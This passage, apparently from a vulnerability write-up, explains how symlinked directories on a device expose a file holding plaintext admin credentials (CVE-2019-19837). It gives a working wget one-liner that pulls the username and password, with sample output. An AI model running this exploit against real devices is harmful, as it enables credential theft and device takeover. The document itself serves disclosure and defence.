
The above shows a symbolic link from /web/user/wps_tool_cache to /tmp directory. rpmd executable writes a backup file named /var/run/rpmkey with a new revision number.
/var/run is also symbolically linked to /tmp/, hence one can fetch this file as well. rpmkey contained the admin credentails plaintext in this following fields: all_powerful_login_name and all_powerful_login_password.
This file is fetchable due to CVE-2019-19837
Information about the exploitation of the vulnerability can be found in our blog post or the 36C3 talk.
Admin credentials leakage one-liner:
➜  demo num=$(wget -q -O - 192.168.0.1/user/wps_tool_cache/var/run/rpmkey.rev);\  
         wget -q -O - 192.168.0.1/user/wps_tool_cache/var/run/rpmkey$num|\
         strings|grep -A 1 all_powerful_login
all_powerful_login_name
admin
all_powerful_login_password
mooncake